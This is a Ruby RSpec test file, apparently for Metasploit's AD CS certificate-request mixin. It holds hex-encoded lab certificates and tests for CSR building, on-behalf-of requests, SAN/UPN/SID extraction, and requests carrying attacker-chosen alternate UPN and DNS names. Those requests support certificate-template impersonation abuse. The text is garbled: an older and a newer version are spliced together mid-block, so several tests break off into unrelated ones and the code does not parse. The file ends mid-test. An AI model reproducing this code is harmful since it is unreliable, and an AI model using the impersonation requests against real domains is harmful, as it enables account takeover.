"\x84\x2a\x30\x1f\x06\x03\x55\x1d\x23\x04\x18\x30\x16\x80\x14\xb9\x92\x66" \
|
||||
"\xb2\x68\xbb\x9b\x46\xd8\x41\x5d\xcb\x16\xb6\xba\x38\xb2\xb1\x78\xd0\x30" \
|
||||
"\x81\xc6\x06\x03\x55\x1d\x1f\x04\x81\xbe\x30\x81\xbb\x30\x81\xb8\xa0\x81" \
|
||||
"\xb5\xa0\x81\xb2\x86\x81\xaf\x6c\x64\x61\x70\x3a\x2f\x2f\x2f\x43\x4e\x3d" \
|
||||
"\x6d\x73\x66\x6c\x61\x62\x2d\x44\x43\x2d\x43\x41\x2c\x43\x4e\x3d\x44\x43" \
|
||||
"\x2c\x43\x4e\x3d\x43\x44\x50\x2c\x43\x4e\x3d\x50\x75\x62\x6c\x69\x63\x25" \
|
||||
"\x32\x30\x4b\x65\x79\x25\x32\x30\x53\x65\x72\x76\x69\x63\x65\x73\x2c\x43" \
|
||||
"\x4e\x3d\x53\x65\x72\x76\x69\x63\x65\x73\x2c\x43\x4e\x3d\x43\x6f\x6e\x66" \
|
||||
"\x69\x67\x75\x72\x61\x74\x69\x6f\x6e\x2c\x44\x43\x3d\x6d\x73\x66\x6c\x61" \
|
||||
"\x62\x2c\x44\x43\x3d\x6c\x6f\x63\x61\x6c\x3f\x63\x65\x72\x74\x69\x66\x69" \
|
||||
"\x63\x61\x74\x65\x52\x65\x76\x6f\x63\x61\x74\x69\x6f\x6e\x4c\x69\x73\x74" \
|
||||
"\x3f\x62\x61\x73\x65\x3f\x6f\x62\x6a\x65\x63\x74\x43\x6c\x61\x73\x73\x3d" \
|
||||
"\x63\x52\x4c\x44\x69\x73\x74\x72\x69\x62\x75\x74\x69\x6f\x6e\x50\x6f\x69" \
|
||||
"\x6e\x74\x30\x81\xbf\x06\x08\x2b\x06\x01\x05\x05\x07\x01\x01\x04\x81\xb2" \
|
||||
"\x30\x81\xaf\x30\x81\xac\x06\x08\x2b\x06\x01\x05\x05\x07\x30\x02\x86\x81" \
|
||||
"\x9f\x6c\x64\x61\x70\x3a\x2f\x2f\x2f\x43\x4e\x3d\x6d\x73\x66\x6c\x61\x62" \
|
||||
"\x2d\x44\x43\x2d\x43\x41\x2c\x43\x4e\x3d\x41\x49\x41\x2c\x43\x4e\x3d\x50" \
|
||||
"\x75\x62\x6c\x69\x63\x25\x32\x30\x4b\x65\x79\x25\x32\x30\x53\x65\x72\x76" \
|
||||
"\x69\x63\x65\x73\x2c\x43\x4e\x3d\x53\x65\x72\x76\x69\x63\x65\x73\x2c\x43" \
|
||||
"\x4e\x3d\x43\x6f\x6e\x66\x69\x67\x75\x72\x61\x74\x69\x6f\x6e\x2c\x44\x43" \
|
||||
"\x3d\x6d\x73\x66\x6c\x61\x62\x2c\x44\x43\x3d\x6c\x6f\x63\x61\x6c\x3f\x63" \
|
||||
"\x41\x43\x65\x72\x74\x69\x66\x69\x63\x61\x74\x65\x3f\x62\x61\x73\x65\x3f" \
|
||||
"\x6f\x62\x6a\x65\x63\x74\x43\x6c\x61\x73\x73\x3d\x63\x65\x72\x74\x69\x66" \
|
||||
"\x69\x63\x61\x74\x69\x6f\x6e\x41\x75\x74\x68\x6f\x72\x69\x74\x79\x30\x0e" \
|
||||
"\x06\x03\x55\x1d\x0f\x01\x01\xff\x04\x04\x03\x02\x05\xa0\x30\x3d\x06\x09" \
|
||||
"\x2b\x06\x01\x04\x01\x82\x37\x15\x07\x04\x30\x30\x2e\x06\x26\x2b\x06\x01" \
|
||||
"\x04\x01\x82\x37\x15\x08\x81\xf8\xd8\x15\x86\xcf\xbe\x0a\x82\xf5\x9d\x2c" \
|
||||
"\x81\x9c\xd5\x54\x82\xeb\x94\x4c\x17\x85\xe8\xbe\x77\x86\xdf\xdd\x7e\x02" \
|
||||
"\x01\x64\x02\x01\x04\x30\x35\x06\x03\x55\x1d\x25\x04\x2e\x30\x2c\x06\x08" \
|
||||
"\x2b\x06\x01\x05\x05\x07\x03\x04\x06\x0a\x2b\x06\x01\x04\x01\x82\x37\x0a" \
|
||||
"\x03\x04\x06\x08\x2b\x06\x01\x05\x05\x07\x03\x02\x06\x0a\x2b\x06\x01\x04" \
|
||||
"\x01\x82\x37\x14\x02\x01\x30\x43\x06\x09\x2b\x06\x01\x04\x01\x82\x37\x15" \
|
||||
"\x0a\x04\x36\x30\x34\x30\x0a\x06\x08\x2b\x06\x01\x05\x05\x07\x03\x04\x30" \
|
||||
"\x0c\x06\x0a\x2b\x06\x01\x04\x01\x82\x37\x0a\x03\x04\x30\x0a\x06\x08\x2b" \
|
||||
"\x06\x01\x05\x05\x07\x03\x02\x30\x0c\x06\x0a\x2b\x06\x01\x04\x01\x82\x37" \
|
||||
"\x14\x02\x01\x30\x45\x06\x03\x55\x1d\x11\x04\x3e\x30\x3c\xa0\x24\x06\x0a" \
|
||||
"\x2b\x06\x01\x04\x01\x82\x37\x14\x02\x03\xa0\x16\x0c\x14\x61\x6c\x69\x64" \
|
||||
"\x64\x6c\x65\x40\x6d\x73\x66\x6c\x61\x62\x2e\x6c\x6f\x63\x61\x6c\x81\x14" \
|
||||
"\x61\x6c\x69\x64\x64\x6c\x65\x40\x6d\x73\x66\x6c\x61\x62\x2e\x6c\x6f\x63" \
|
||||
"\x61\x6c\x30\x4f\x06\x09\x2b\x06\x01\x04\x01\x82\x37\x19\x02\x04\x42\x30" \
|
||||
"\x40\xa0\x3e\x06\x0a\x2b\x06\x01\x04\x01\x82\x37\x19\x02\x01\xa0\x30\x04" \
|
||||
"\x2e\x53\x2d\x31\x2d\x35\x2d\x32\x31\x2d\x33\x34\x30\x32\x35\x38\x37\x32" \
|
||||
"\x38\x39\x2d\x31\x34\x38\x38\x37\x39\x38\x35\x33\x32\x2d\x33\x36\x31\x38" \
|
||||
"\x32\x39\x36\x39\x39\x33\x2d\x31\x31\x30\x36\x30\x44\x06\x09\x2a\x86\x48" \
|
||||
"\x86\xf7\x0d\x01\x09\x0f\x04\x37\x30\x35\x30\x0e\x06\x08\x2a\x86\x48\x86" \
|
||||
"\xf7\x0d\x03\x02\x02\x02\x00\x80\x30\x0e\x06\x08\x2a\x86\x48\x86\xf7\x0d" \
|
||||
"\x03\x04\x02\x02\x00\x80\x30\x07\x06\x05\x2b\x0e\x03\x02\x07\x30\x0a\x06" \
|
||||
"\x08\x2a\x86\x48\x86\xf7\x0d\x03\x07\x30\x0d\x06\x09\x2a\x86\x48\x86\xf7" \
|
||||
"\x0d\x01\x01\x0b\x05\x00\x03\x82\x01\x01\x00\x89\xb2\xb3\xb1\xd8\x61\x9e" \
|
||||
"\x45\x70\x58\x58\x23\x24\x43\x6c\x4f\x0a\x77\x48\x5c\x2b\xc0\xa3\xf5\x78" \
|
||||
"\x37\x7c\x58\xb1\x6c\xd8\xa8\xa3\x2f\x5b\x8e\xb9\x4d\x3b\x4a\xcd\xab\x8a" \
|
||||
"\x3b\x0e\x8a\xd8\x52\x6b\xfa\xe2\x29\xad\x22\x8d\x58\x0f\x98\x05\x61\x54" \
|
||||
"\xc3\xd9\xb0\x9c\x63\x8a\xb3\x6d\x4b\x25\x0e\x91\x20\xbe\x84\x0c\xa4\xb7" \
|
||||
"\x51\xd1\xe8\xdc\x08\xe9\xfe\x64\xf1\x86\x5a\xe8\x23\x6a\x14\xb8\xf1\x16" \
|
||||
"\x09\x27\x0d\xdc\x74\xd1\x28\x48\x90\xc5\x7f\x97\x3d\xee\x80\x34\x08\x65" \
|
||||
"\x1c\xb0\x41\xac\x4f\x99\x9e\x7d\xed\x5e\xff\xd8\x95\x71\xc4\x4a\x94\x41" \
|
||||
"\x39\xe5\x6d\x0e\x29\x7c\xb5\x3b\xc4\x11\x8f\x17\xf8\xf9\x8b\x6e\xf1\xd8" \
|
||||
"\x99\x37\xc2\x75\x0d\xc8\xcf\x01\xba\xbe\x30\x1c\xba\xac\xac\xe2\x7f\x5c" \
|
||||
"\x5a\xa7\x8d\x60\xb2\x0e\x60\x6a\x6e\x0f\x50\x47\x9e\xab\xc1\xfd\xea\xc2" \
|
||||
"\x63\xfd\xbc\xf5\x59\x5f\x61\x73\x2e\x6c\x30\x54\x1e\x92\xc1\x4f\x04\xb8" \
|
||||
"\xbf\xe8\x5d\x58\x1c\x96\x97\x21\x68\xdd\x32\xc2\x35\x88\xb4\x39\xa6\x7f" \
|
||||
"\xbc\x8d\x67\x9a\x21\x2a\x50\xa6\xcf\x4b\xbd\x0c\xe7\x81\x3e\xa0\x30\xda" \
|
||||
"\x22\xbc\x10\x30\xfa\x8b\x97\xf0\xf8\x3a\x92\xa9\x70\xac\xfc\x31\x82\x02" \
|
||||
"\x08\x30\x82\x02\x04\x02\x01\x01\x30\x5d\x30\x46\x31\x15\x30\x13\x06\x0a" \
|
||||
"\x09\x92\x26\x89\x93\xf2\x2c\x64\x01\x19\x16\x05\x6c\x6f\x63\x61\x6c\x31" \
|
||||
"\x16\x30\x14\x06\x0a\x09\x92\x26\x89\x93\xf2\x2c\x64\x01\x19\x16\x06\x6d" \
|
||||
"\x73\x66\x6c\x61\x62\x31\x15\x30\x13\x06\x03\x55\x04\x03\x13\x0c\x6d\x73" \
|
||||
"\x66\x6c\x61\x62\x2d\x44\x43\x2d\x43\x41\x02\x13\x10\x00\x00\x00\x43\x92" \
|
||||
"\xab\x33\x25\xbd\xb1\xc3\x32\x00\x00\x00\x00\x00\x43\x30\x0b\x06\x09\x60" \
|
||||
"\x86\x48\x01\x65\x03\x04\x02\x01\xa0\x81\x81\x30\x4e\x06\x0a\x2b\x06\x01" \
|
||||
"\x04\x01\x82\x37\x0d\x02\x01\x31\x40\x30\x3e\x1e\x1a\x00\x72\x00\x65\x00" \
|
||||
"\x71\x00\x75\x00\x65\x00\x73\x00\x74\x00\x65\x00\x72\x00\x6e\x00\x61\x00" \
|
||||
"\x6d\x00\x65\x1e\x20\x00\x4d\x00\x53\x00\x46\x00\x4c\x00\x41\x00\x42\x00" \
|
||||
"\x5c\x00\x73\x00\x6d\x00\x63\x00\x69\x00\x6e\x00\x74\x00\x79\x00\x72\x00" \
|
||||
"\x65\x30\x2f\x06\x09\x2a\x86\x48\x86\xf7\x0d\x01\x09\x04\x31\x22\x04\x20" \
|
||||
"\x3f\x40\x73\xc1\x9c\x54\xeb\xbd\x4d\x4f\xab\x27\xfb\x8b\x65\x1a\x2c\x51" \
|
||||
"\x24\xf9\x97\x05\x91\x04\xaa\xf7\xbc\x6d\xfd\x07\x4d\x70\x30\x0b\x06\x09" \
|
||||
"\x2a\x86\x48\x86\xf7\x0d\x01\x01\x0b\x04\x82\x01\x00\x78\x74\xf7\xee\xef" \
|
||||
"\x89\x2f\x02\x77\xb9\xde\x87\x07\x3a\x58\x1d\x2d\xc0\xb0\x55\x33\x40\xf1" \
|
||||
"\x6f\xb6\x28\xd6\x44\xf1\xfa\x4f\xf6\x99\xe1\xdc\xb2\x2e\x49\x5b\x36\xa7" \
|
||||
"\xee\x6f\x82\x67\x27\x43\xd5\x99\x57\xc2\x83\x09\x29\xd2\xb3\x86\x9e\x6f" \
|
||||
"\x75\x78\xdb\xe3\xeb\x33\x65\xce\x7c\xd4\x8f\x65\x73\xa7\x82\xe4\x5e\x50" \
|
||||
"\xd3\xe8\x76\xd2\x43\x96\xeb\xe5\x3a\xd1\x03\x2e\xa0\x61\xd7\xf2\x6b\x9e" \
|
||||
"\x0b\x24\x11\x2a\x25\x4d\x68\x5e\x86\x9c\x9b\xe4\xaa\x6c\x5c\x5c\xfe\x54" \
|
||||
"\x26\x85\xd8\xcc\x0f\xdd\x69\x0f\xf6\xc3\x0b\x7c\xca\x23\xeb\x99\x8c\xc1" \
|
||||
"\x69\x80\x69\xd2\x14\x1b\x1b\x99\xde\x25\x59\x12\x8d\xb4\xc0\x01\x56\x32" \
|
||||
"\x91\x76\x8f\x8b\xd4\x29\x2f\x74\x3e\xca\xe0\xd1\xe8\x68\xde\x9d\x1e\x15" \
|
||||
"\xd9\x07\x41\x82\x14\x2a\xe9\x5c\x03\x81\x80\x04\xf1\x5b\xa5\xea\x21\x72" \
|
||||
"\x9d\x98\xa0\x23\x46\x25\xb7\x68\x7d\xc2\x58\x80\xfb\x1c\xbb\x76\xba\x76" \
|
||||
"\x3a\xba\x1c\xd8\x0f\xbf\x21\x36\xce\x03\x94\x8c\x13\xbd\xc7\x87\x42\x06" \
|
||||
"\x1c\x2b\xc8\x53\xd1\xa7\xba\xea\xfa\xbc\xba\x8e\xd8\x6f\x1c\x34\x28\x8b" \
|
||||
"\x87\x0d\xbf\x30\x87\xc1\x6e\xcc\x15\xb5\xd7\x2d\xe4\xe6\xa6\xaa\xe6"
|
||||
)
|
||||
end
|
||||
|
||||
before(:each) do
|
||||
allow(driver).to receive(:input).and_return(driver_input)
|
||||
allow(driver).to receive(:output).and_return(driver_output)
|
||||
subject.init_ui(driver_input, driver_output)
|
||||
end
|
||||
|
||||
describe '#build_csr' do
|
||||
let(:result) do
|
||||
subject.send(:build_csr, **{
|
||||
cn: 'aliddle',
|
||||
private_key: pkcs12_key
|
||||
})
|
||||
end
|
||||
|
||||
context 'when building' do
|
||||
it 'return a Request object' do
|
||||
expect(result).to be_a(OpenSSL::X509::Request)
|
||||
end
|
||||
|
||||
it 'should respond to #to_der' do
|
||||
expect(result).to respond_to(:to_der)
|
||||
end
|
||||
|
||||
it 'should be correct' do
|
||||
expect(result.to_der).to eq(x509_csr.to_der)
|
||||
# -------------------------------------------------------------------------
|
||||
describe '.get_cert_san' do
|
||||
context 'when the cert has no subjectAltName extension' do
|
||||
it 'returns nil' do
|
||||
cert = build_test_cert(rsa_key)
|
||||
expect(described_class.get_cert_san(cert)).to be_nil
|
||||
end
|
||||
end
|
||||
|
||||
context 'when passed a bad algorithm' do
|
||||
it 'raises a RuntimeError if the algorithm does not exist' do
|
||||
expect {
|
||||
subject.send(:build_csr, **{
|
||||
cn: 'aliddle',
|
||||
private_key: pkcs12_key,
|
||||
algorithm: 'METASPLOIT'
|
||||
})
|
||||
}.to raise_error(RuntimeError)
|
||||
context 'when the cert has a subjectAltName extension' do
|
||||
it 'returns a SubjectAltName object' do
|
||||
cert = build_test_cert(rsa_key, extensions: [san_extension('DNS:host.example.com')])
|
||||
expect(described_class.get_cert_san(cert)).to be_a(Rex::Proto::CryptoAsn1::X509::SubjectAltName)
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
describe '#build_on_behalf_of' do
|
||||
context 'when building' do
|
||||
let(:result) do
|
||||
subject.send(:build_on_behalf_of, **{
|
||||
csr: x509_csr,
|
||||
on_behalf_of: 'MSFLAB\\smcintyre',
|
||||
cert: pkcs12_certificate,
|
||||
key: pkcs12_key
|
||||
# -------------------------------------------------------------------------
|
||||
describe '.get_cert_san_dns' do
|
||||
context 'when the cert has no subjectAltName' do
|
||||
it 'returns an empty array' do
|
||||
cert = build_test_cert(rsa_key)
|
||||
expect(described_class.get_cert_san_dns(cert)).to eq([])
|
||||
end
|
||||
end
|
||||
|
||||
context 'when the cert has a single DNS SAN' do
|
||||
it 'returns the DNS name' do
|
||||
cert = build_test_cert(rsa_key, extensions: [san_extension('DNS:host.example.com')])
|
||||
expect(described_class.get_cert_san_dns(cert)).to eq(['host.example.com'])
|
||||
end
|
||||
end
|
||||
|
||||
context 'when the cert has multiple DNS SANs' do
|
||||
it 'returns all DNS names' do
|
||||
cert = build_test_cert(rsa_key, extensions: [san_extension('DNS:host.example.com, DNS:other.example.com')])
|
||||
expect(described_class.get_cert_san_dns(cert)).to contain_exactly('host.example.com', 'other.example.com')
|
||||
end
|
||||
end
|
||||
|
||||
context 'when the SAN contains a mix of DNS and non-DNS entries' do
|
||||
it 'returns only the DNS names' do
|
||||
cert = build_test_cert(rsa_key, extensions: [san_extension('DNS:host.example.com, email:alice@example.com')])
|
||||
expect(described_class.get_cert_san_dns(cert)).to eq(['host.example.com'])
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
# -------------------------------------------------------------------------
|
||||
describe '.get_cert_san_email' do
|
||||
context 'when the cert has no subjectAltName' do
|
||||
it 'returns an empty array' do
|
||||
cert = build_test_cert(rsa_key)
|
||||
expect(described_class.get_cert_san_email(cert)).to eq([])
|
||||
end
|
||||
end
|
||||
|
||||
context 'when the cert has an email SAN' do
|
||||
it 'returns the email address' do
|
||||
cert = build_test_cert(rsa_key, extensions: [san_extension('email:alice@example.com')])
|
||||
expect(described_class.get_cert_san_email(cert)).to eq(['alice@example.com'])
|
||||
end
|
||||
end
|
||||
|
||||
context 'when the SAN contains a mix of email and non-email entries' do
|
||||
it 'returns only email addresses' do
|
||||
cert = build_test_cert(rsa_key, extensions: [san_extension('DNS:host.example.com, email:alice@example.com')])
|
||||
expect(described_class.get_cert_san_email(cert)).to eq(['alice@example.com'])
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
# -------------------------------------------------------------------------
|
||||
describe '.get_cert_san_uri' do
|
||||
context 'when the cert has no subjectAltName' do
|
||||
it 'returns an empty array' do
|
||||
cert = build_test_cert(rsa_key)
|
||||
expect(described_class.get_cert_san_uri(cert)).to eq([])
|
||||
end
|
||||
end
|
||||
|
||||
context 'when the cert has a URI SAN' do
|
||||
it 'returns the URI' do
|
||||
cert = build_test_cert(rsa_key, extensions: [san_extension('URI:http://example.com')])
|
||||
expect(described_class.get_cert_san_uri(cert)).to eq(['http://example.com'])
|
||||
end
|
||||
end
|
||||
|
||||
context 'when the SAN contains a mix of URI and non-URI entries' do
|
||||
it 'returns only URIs' do
|
||||
cert = build_test_cert(rsa_key, extensions: [san_extension('DNS:host.example.com, URI:http://example.com')])
|
||||
expect(described_class.get_cert_san_uri(cert)).to eq(['http://example.com'])
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
# -------------------------------------------------------------------------
|
||||
describe '.get_cert_msext_upn' do
|
||||
context 'when the cert has no subjectAltName' do
|
||||
it 'returns an empty array' do
|
||||
cert = build_test_cert(rsa_key)
|
||||
expect(described_class.get_cert_msext_upn(cert)).to eq([])
|
||||
end
|
||||
end
|
||||
|
||||
context 'when the cert has a UPN otherName SAN' do
|
||||
it 'returns the UPN value' do
|
||||
config = "[alt_names]\notherName = 1.3.6.1.4.1.311.20.2.3;UTF8:alice@example.com"
|
||||
cert = build_test_cert(rsa_key, extensions: [san_extension_from_config(config)])
|
||||
expect(described_class.get_cert_msext_upn(cert)).to eq(['alice@example.com'])
|
||||
end
|
||||
end
|
||||
|
||||
context 'when the SAN has an otherName with a different OID (not UPN)' do
|
||||
it 'returns an empty array' do
|
||||
config = "[alt_names]\notherName = 1.3.6.1.4.1.311.20.2.99;UTF8:notaupn"
|
||||
cert = build_test_cert(rsa_key, extensions: [san_extension_from_config(config)])
|
||||
expect(described_class.get_cert_msext_upn(cert)).to eq([])
|
||||
end
|
||||
end
|
||||
|
||||
context 'when the SAN contains only a DNS entry' do
|
||||
it 'returns an empty array' do
|
||||
cert = build_test_cert(rsa_key, extensions: [san_extension('DNS:host.example.com')])
|
||||
expect(described_class.get_cert_msext_upn(cert)).to eq([])
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
# -------------------------------------------------------------------------
|
||||
describe '.get_cert_msext_sid' do
|
||||
# Known DER encoding from spec/lib/rex/proto/crypto_asn1_spec.rb
|
||||
# Contains SID "S-1-5-21-3402587289-1488798532-3618296993-1105"
|
||||
let(:ntds_ext_der) do
|
||||
"\x30\x40\xa0\x3e\x06\x0a\x2b\x06\x01\x04\x01\x82\x37\x19\x02\x01\xa0\x30" \
|
||||
"\x04\x2e\x53\x2d\x31\x2d\x35\x2d\x32\x31\x2d\x33\x34\x30\x32\x35\x38" \
|
||||
"\x37\x32\x38\x39\x2d\x31\x34\x38\x38\x37\x39\x38\x35\x33\x32\x2d\x33" \
|
||||
"\x36\x31\x38\x32\x39\x36\x39\x39\x33\x2d\x31\x31\x30\x35"
|
||||
end
|
||||
|
||||
context 'when the cert has no NTDS CA security extension' do
|
||||
it 'returns nil' do
|
||||
cert = build_test_cert(rsa_key)
|
||||
expect(described_class.get_cert_msext_sid(cert)).to be_nil
|
||||
end
|
||||
end
|
||||
|
||||
context 'when the cert has the NTDS CA security extension' do
|
||||
it 'returns the SID string' do
|
||||
ntds_ext = OpenSSL::X509::Extension.new(described_class::OID_NTDS_CA_SECURITY_EXT, ntds_ext_der, false)
|
||||
cert = build_test_cert(rsa_key, extensions: [ntds_ext])
|
||||
expect(described_class.get_cert_msext_sid(cert)).to eq('S-1-5-21-3402587289-1488798532-3618296993-1105')
|
||||
end
|
||||
end
|
||||
|
||||
context 'when a different extension has the same OID but wrong inner type_id' do
|
||||
it 'returns nil' do
|
||||
# Build a NtdsCaSecurityExt with wrong inner OID so the type_id check fails
|
||||
bogus_ext_der = Rex::Proto::CryptoAsn1::NtdsCaSecurityExt.new(OtherName: {
|
||||
type_id: '1.2.3.4.5',
|
||||
value: 'S-1-5-21-0-0-0-0'
|
||||
}).to_der
|
||||
ntds_ext = OpenSSL::X509::Extension.new(described_class::OID_NTDS_CA_SECURITY_EXT, bogus_ext_der, false)
|
||||
cert = build_test_cert(rsa_key, extensions: [ntds_ext])
|
||||
expect(described_class.get_cert_msext_sid(cert)).to be_nil
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
# -------------------------------------------------------------------------
|
||||
describe '.get_cert_policy_oids' do
|
||||
let(:eku_extension) do
|
||||
stub = OpenSSL::X509::Certificate.new
|
||||
factory = OpenSSL::X509::ExtensionFactory.new
|
||||
factory.subject_certificate = stub
|
||||
factory.issuer_certificate = stub
|
||||
factory.create_extension('extendedKeyUsage', 'clientAuth', false)
|
||||
end
|
||||
|
||||
let(:multi_eku_extension) do
|
||||
stub = OpenSSL::X509::Certificate.new
|
||||
factory = OpenSSL::X509::ExtensionFactory.new
|
||||
factory.subject_certificate = stub
|
||||
factory.issuer_certificate = stub
|
||||
factory.create_extension('extendedKeyUsage', 'clientAuth, emailProtection', false)
|
||||
end
|
||||
|
||||
context 'when the cert has no policy extensions' do
|
||||
it 'returns an empty array' do
|
||||
cert = build_test_cert(rsa_key)
|
||||
expect(described_class.get_cert_policy_oids(cert)).to eq([])
|
||||
end
|
||||
end
|
||||
|
||||
context 'when the cert has extendedKeyUsage with clientAuth' do
|
||||
it 'includes the clientAuth OID' do
|
||||
cert = build_test_cert(rsa_key, extensions: [eku_extension])
|
||||
oids = described_class.get_cert_policy_oids(cert)
|
||||
# OpenSSL returns the short name ('clientAuth') when parsing EKU DER
|
||||
expect(oids.map(&:value)).to include('clientAuth')
|
||||
end
|
||||
end
|
||||
|
||||
context 'when the cert has multiple EKU OIDs' do
|
||||
it 'returns all OIDs' do
|
||||
cert = build_test_cert(rsa_key, extensions: [multi_eku_extension])
|
||||
oid_values = described_class.get_cert_policy_oids(cert).map(&:value)
|
||||
# OpenSSL returns short names when parsing EKU DER
|
||||
expect(oid_values).to include('clientAuth')
|
||||
expect(oid_values).to include('emailProtection')
|
||||
end
|
||||
end
|
||||
|
||||
context 'when the cert has a SAN extension but no policy extensions' do
|
||||
it 'returns an empty array' do
|
||||
cert = build_test_cert(rsa_key, extensions: [san_extension('DNS:host.example.com')])
|
||||
expect(described_class.get_cert_policy_oids(cert)).to eq([])
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
# -------------------------------------------------------------------------
|
||||
describe '#do_request_cert' do
|
||||
let(:icpr) { double('icpr') }
|
||||
let(:csr_double) { double('csr', to_der: 'der') }
|
||||
|
||||
before do
|
||||
allow(subject).to receive(:create_csr).and_return(csr_double)
|
||||
allow(icpr).to receive(:cert_server_request).and_return({ status: :issued })
|
||||
end
|
||||
|
||||
context 'username resolution' do
|
||||
it 'uses opts[:username] when provided' do
|
||||
expect(subject).to receive(:create_csr).with(hash_including(username: 'alice'))
|
||||
subject.send(:do_request_cert, icpr, { username: 'alice' })
|
||||
end
|
||||
|
||||
it 'falls back to datastore SMBUser when opts has no username' do
|
||||
subject.datastore['SMBUser'] = 'bob'
|
||||
expect(subject).to receive(:create_csr).with(hash_including(username: 'bob'))
|
||||
subject.send(:do_request_cert, icpr, {})
|
||||
end
|
||||
end
|
||||
|
||||
context 'RSA key generation' do
|
||||
it 'generates a 2048-bit key by default' do
|
||||
expect(OpenSSL::PKey::RSA).to receive(:new).with(2048).and_return(rsa_key)
|
||||
subject.send(:do_request_cert, icpr, { username: 'alice' })
|
||||
end
|
||||
|
||||
it 'uses the RSAKeySize from the datastore' do
|
||||
subject.datastore['RSAKeySize'] = '4096'
|
||||
allow(rsa_key).to receive(:n).and_return(double('OpenSSL::BN', num_bits: 4096))
|
||||
expect(OpenSSL::PKey::RSA).to receive(:new).with(4096).and_return(rsa_key)
|
||||
subject.send(:do_request_cert, icpr, { username: 'alice' })
|
||||
end
|
||||
|
||||
it 'uses a private key supplied in opts without generating one' do
|
||||
rsa_key # force let evaluation before stubbing
|
||||
expect(OpenSSL::PKey::RSA).not_to receive(:new)
|
||||
subject.send(:do_request_cert, icpr, { username: 'alice', private_key: rsa_key })
|
||||
end
|
||||
|
||||
it 'passes the key to create_csr via opts' do
|
||||
allow(OpenSSL::PKey::RSA).to receive(:new).and_return(rsa_key)
|
||||
expect(subject).to receive(:create_csr).with(hash_including(private_key: rsa_key))
|
||||
subject.send(:do_request_cert, icpr, { username: 'alice' })
|
||||
end
|
||||
end
|
||||
|
||||
context 'key size mismatch' do
|
||||
let(:wrong_size_key) { OpenSSL::PKey::RSA.new(1024) }
|
||||
|
||||
it 'raises ArgumentError' do
|
||||
expect { subject.send(:do_request_cert, icpr, { username: 'alice', private_key: wrong_size_key }) }.to raise_error(ArgumentError, /RSA key size mismatch/)
|
||||
end
|
||||
|
||||
it 'logs an RSA key size mismatch error' do
|
||||
expect(subject).to receive(:elog).with('RSA key size mismatch')
|
||||
expect { subject.send(:do_request_cert, icpr, { username: 'alice', private_key: wrong_size_key }) }.to raise_error(ArgumentError)
|
||||
end
|
||||
|
||||
it 'does not call create_csr' do
|
||||
expect(subject).not_to receive(:create_csr)
|
||||
expect { subject.send(:do_request_cert, icpr, { username: 'alice', private_key: wrong_size_key }) }.to raise_error(ArgumentError)
|
||||
end
|
||||
end
|
||||
|
||||
context 'certificate template' do
|
||||
it 'uses cert_template from opts' do
|
||||
expect(icpr).to receive(:cert_server_request).with(hash_including(
|
||||
attributes: hash_including('CertificateTemplate' => 'AdminTemplate')
|
||||
))
|
||||
subject.send(:do_request_cert, icpr, { username: 'alice', private_key: rsa_key, cert_template: 'AdminTemplate' })
|
||||
end
|
||||
|
||||
it 'falls back to datastore CERT_TEMPLATE' do
|
||||
subject.datastore['CERT_TEMPLATE'] = 'UserTemplate'
|
||||
expect(icpr).to receive(:cert_server_request).with(hash_including(
|
||||
attributes: hash_including('CertificateTemplate' => 'UserTemplate')
|
||||
))
|
||||
subject.send(:do_request_cert, icpr, { username: 'alice', private_key: rsa_key })
|
||||
end
|
||||
end
|
||||
|
||||
context 'SAN attributes' do
|
||||
it 'includes dns SAN when alt_dns is in opts' do
|
||||
expect(icpr).to receive(:cert_server_request).with(hash_including(
|
||||
attributes: hash_including('SAN' => 'dns=host.example.com')
|
||||
))
|
||||
subject.send(:do_request_cert, icpr, { username: 'alice', private_key: rsa_key, alt_dns: 'host.example.com' })
|
||||
end
|
||||
|
||||
it 'includes upn SAN when alt_upn is in opts' do
|
||||
expect(icpr).to receive(:cert_server_request).with(hash_including(
|
||||
attributes: hash_including('SAN' => 'upn=alice@example.com')
|
||||
))
|
||||
subject.send(:do_request_cert, icpr, { username: 'alice', private_key: rsa_key, alt_upn: 'alice@example.com' })
|
||||
end
|
||||
|
||||
it 'includes both dns and upn SANs when both are set' do
|
||||
expect(icpr).to receive(:cert_server_request) do |args|
|
||||
san = args[:attributes]['SAN']
|
||||
expect(san).to include('dns=host.example.com')
|
||||
expect(san).to include('upn=alice@example.com')
|
||||
{ status: :issued }
|
||||
end
|
||||
subject.send(:do_request_cert, icpr, {
|
||||
username: 'alice', private_key: rsa_key,
|
||||
alt_dns: 'host.example.com', alt_upn: 'alice@example.com'
|
||||
})
|
||||
end
|
||||
|
||||
it 'return a ContentInfo object' do
|
||||
expect(result).to be_a(Rex::Proto::CryptoAsn1::Cms::ContentInfo)
|
||||
it 'omits SAN attribute entirely when no alt values are set' do
|
||||
expect(icpr).to receive(:cert_server_request) do |args|
|
||||
expect(args[:attributes]).not_to have_key('SAN')
|
||||
{ status: :issued }
|
||||
end
|
||||
subject.send(:do_request_cert, icpr, { username: 'alice', private_key: rsa_key })
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
# -------------------------------------------------------------------------
|
||||
describe '#request_certificate' do
|
||||
let(:tree) { double('RubySMB::SMB2::Tree') }
|
||||
let(:icpr) { double('icpr') }
|
||||
|
||||
before do
|
||||
allow(subject).to receive(:connect_ipc).and_return(tree)
|
||||
allow(subject).to receive(:connect_icpr).with(tree).and_return(icpr)
|
||||
allow(subject).to receive(:do_request_cert)
|
||||
end
|
||||
|
||||
it 'calls connect_ipc when no tree is given' do
|
||||
expect(subject).to receive(:connect_ipc).and_return(tree)
|
||||
subject.request_certificate
|
||||
end
|
||||
|
||||
it 'uses the tree from opts and skips connect_ipc' do
|
||||
expect(subject).not_to receive(:connect_ipc)
|
||||
subject.request_certificate(tree: tree)
|
||||
end
|
||||
|
||||
context 'when connect_icpr raises UnexpectedStatusCode with STATUS_OBJECT_NAME_NOT_FOUND' do
|
||||
before do
|
||||
status_code = ::WindowsError::NTStatus::STATUS_OBJECT_NAME_NOT_FOUND
|
||||
allow(subject).to receive(:connect_icpr).and_raise(
|
||||
RubySMB::Error::UnexpectedStatusCode.new(status_code)
|
||||
)
|
||||
end
|
||||
|
||||
it 'should respond to #to_der' do
|
||||
